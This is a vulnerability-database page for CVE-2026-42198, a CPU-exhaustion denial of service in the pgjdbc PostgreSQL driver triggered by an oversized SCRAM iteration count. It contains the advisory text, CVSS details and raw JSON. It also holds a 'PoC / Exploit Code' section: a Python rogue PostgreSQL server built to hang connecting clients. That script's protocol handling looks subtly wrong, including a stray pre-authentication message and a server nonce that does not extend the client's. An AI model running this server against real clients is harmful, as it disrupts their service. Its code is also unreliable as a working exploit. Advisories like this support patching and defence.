Security Vulnerability Report
中文
CVE-2026-42198 CVSS 7.5 HIGH

CVE-2026-42198

Published: 2026-04-29 16:16:25
Last Modified: 2026-05-01 12:51:21

Description

pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:postgresql:postgresql_jdbc_driver:*:*:*:*:*:*:*:* - VULNERABLE
pgjdbc >= 42.2.0, < 42.7.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct import time # PoC for CVE-2026-42198: Malicious PostgreSQL Server # This script simulates a PG server that sends a high iteration count # to trigger the DoS in vulnerable pgjdbc clients. MALICIOUS_ITERATION_COUNT = 10000000 # 10 million iterations def send_msg(sock, msg): # PostgreSQL message format: Type + Length + Payload if msg: sock.sendall(msg) def create_auth_sasl_mechanisms(): # 'R' (AuthenticationSASL) # Payload: Int32(10) + String mechanisms mechanisms = b'SCRAM-SHA-256\x00' msg = struct.pack('>ci', b'R', 10) + mechanisms return struct.pack('>I', len(msg) + 4) + msg def create_auth_sasl_continue(salt, iteration): # 'R' (AuthenticationSASLContinue) # Payload: Int32(11) + String data # SASLContinue format: r=...,s=<salt>,i=<iteration> data = f'r=noncer=s={salt},i={iteration}\x00' msg = struct.pack('>ci', b'R', 11) + data.encode('utf-8') return struct.pack('>I', len(msg) + 4) + msg def start_malicious_server(port=5432): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(5) print(f"[*] Malicious PG server listening on port {port}") while True: client, addr = server.accept() print(f"[*] Connection from {addr}") try: # 1. Send StartupMessage response (AuthenticationSASL) # Skip reading startup message for brevity, just send attack send_msg(client, b'N\x00\x00\x00\x04\x00') # NoData # Send AuthenticationSASL send_msg(client, create_auth_sasl_mechanisms()) # 2. Read client response (SASLInitialResponse) client.recv(4096) # 3. Send AuthenticationSASLContinue with high iteration count # Salt can be random, here is static salt = 'YWJjZGVmZ2hpamtsbW5vcA==' # base64 salt payload = create_auth_sasl_continue(salt, MALICIOUS_ITERATION_COUNT) # Add code for AuthenticationSASLFinal (12) to keep client waiting if needed # But the PBKDF2 happens after receiving Continue (11) send_msg(client, payload) print("[*] Malicious iteration count sent. Client should hang now.") # Keep connection open to ensure client computes time.sleep(60) except Exception as e: print(f"[-] Error: {e}") finally: client.close() if __name__ == "__main__": start_malicious_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42198", "sourceIdentifier": "[email protected]", "published": "2026-04-29T16:16:25.427", "lastModified": "2026-05-01T12:51:20.853", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:postgresql:postgresql_jdbc_driver:*:*:*:*:*:*:*:*", "versionStartIncluding": "42.2.0", "versionEndExcluding": "42.7.11", "matchCriteriaId": "BC86BFF1-BD22-41C9-9BAB-7C673CBEDB0F"}]}]}], "references": [{"url": "https://github.com/pgjdbc/pgjdbc/releases/tag/REL42.7.11", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}